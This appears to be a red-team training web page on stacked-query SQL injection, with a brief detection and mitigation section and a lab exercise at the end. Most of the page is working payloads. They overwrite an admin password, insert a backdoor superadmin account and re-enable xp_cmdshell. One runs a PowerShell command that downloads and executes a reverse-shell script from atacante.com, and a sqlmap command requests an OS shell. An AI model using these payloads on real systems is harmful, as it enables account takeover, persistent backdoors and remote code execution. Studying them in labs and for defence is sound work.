Ir al contenido

📕 FIELD MANUAL 3.3: STACKED QUERIES

Objective: We will execute multiple independent SQL statements to modify data or invoke operating system commands.

0views

Classification: RED TEAM EYES ONLY

Objective: We will execute multiple independent SQL statements to modify data or invoke operating system commands.

Targets: Microsoft SQL Server environments (Critical), PostgreSQL, and PHP with mysqli_multi_query.

MITRE ATT&CK: T1190, T1486 (Data Encrypted for Impact - Ransomware via SQL).

So far, we have used UNION to add results to the existing query (SELECT... UNION SELECT...). But what if we want to perform a INSERT or a DROP TABLE? We cannot join a INSERT to a SELECT.

The solution is to close the first query and start a new one.

  • Magic Symbol: ; (Semicolon).
$id = $_GET['id'];
// Si el driver de DB permite multi-query...
$sql = "SELECT * FROM products WHERE id = $id";

If we send 1; DELETE FROM products, the database receives:

  1. SELECT * FROM products WHERE id = 1 (It will execute normally).
  2. DELETE FROM products (It will execute immediately after... and will delete the table!).

We will imagine that we cannot extract the admin password (very complex hash), but we have Stacked Queries. Instead of stealing it, we will change it.

  • Payload (Update):

    1'; UPDATE users SET password='RedTeamPassword123!' WHERE user='admin'; --

    Effect: The application will show product 1 and silently change the admin password. Now we will enter through the front door.

If we don't want to touch the existing admin to avoid raising suspicion, we will create a new one.

  • Payload (Insert):

    1'; INSERT INTO users (username, password, role) VALUES ('backdoor', 'pass123', 'superadmin'); --

Since Stacked Queries usually do not return the result of the second query on screen (it is blind), we will use WAITFOR DELAY to confirm it works.

  • Payload (MSSQL):

    1'; WAITFOR DELAY '0:0:5'; --

    If the page takes 5 seconds, we will have stacked command execution!

3. “GOD MODE” ESCALATION: XP_CMDSHELL (MSSQL)

Sección titulada «3. ESCALADA “GOD MODE”: XP_CMDSHELL (MSSQL)»

This is the "Holy Grail" in Microsoft SQL Server environments. xp_cmdshell is a stored procedure that executes Windows console (CMD) commands directly from SQL.

By default, it is usually disabled. If we are sa (System Admin), we can reactivate it using Stacked Queries.

  • Payload (Reactivation):

    1'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --

Now we will be the Windows console.

  • Payload (Ping Test):

    1'; EXEC xp_cmdshell 'ping -n 5 127.0.0.1'; --

    (This will cause a 5-second delay, confirming RCE).

  • Payload (Reverse Shell with PowerShell): Here we will download and execute a Cobalt Strike or Metasploit payload.

    1'; EXEC xp_cmdshell 'powershell IEX(New-Object Net.WebClient).DownloadString("[http://atacante.com/shell.ps1](http://atacante.com/shell.ps1)")'; --

SQLMap will test this automatically using the S (Stacked) technique.

War Command:

sqlmap -u "http://target/app.aspx?id=1" \
--technique=S \
--os-shell
  • -os-shell: This magic flag will automatically attempt to enable xp_cmdshell (in MSSQL) or use UDF injection (in MySQL) to provide us with a Linux/Windows-style interactive terminal within SQLMap.
  1. Database Logs: We look for the ; character in query logs as the #1 indicator. Legitimate web applications almost never send multiple statements in a single call.
  2. Configuration Events: We will monitor the Event ID that indicates changes in sp_configure. If xp_cmdshell is suddenly enabled, we will consider it a critical incident.
  3. Child Processes: If the process sqlservr.exe spawns cmd.exe or powershell.exe, we will consider it a definitive sign of compromise via xp_cmdshell.
  1. Disable Multi-Statement: In PHP, we will use mysqli_query (singular) instead of mysqli_multi_query.
  2. Principle of Least Privilege: The web service account must NEVER be sa (SysAdmin). If it is a restricted user, it will not be able to reactivate xp_cmdshell or access critical tables, even if the injection exists.

Status: Module 3.3 Completed. Mission: We will theoretically understand how MSSQL allows executing system commands. In bWAPP (MySQL), we will attempt to use ; SLEEP(10) to see if it supports stacking (probably not, but it is a good test).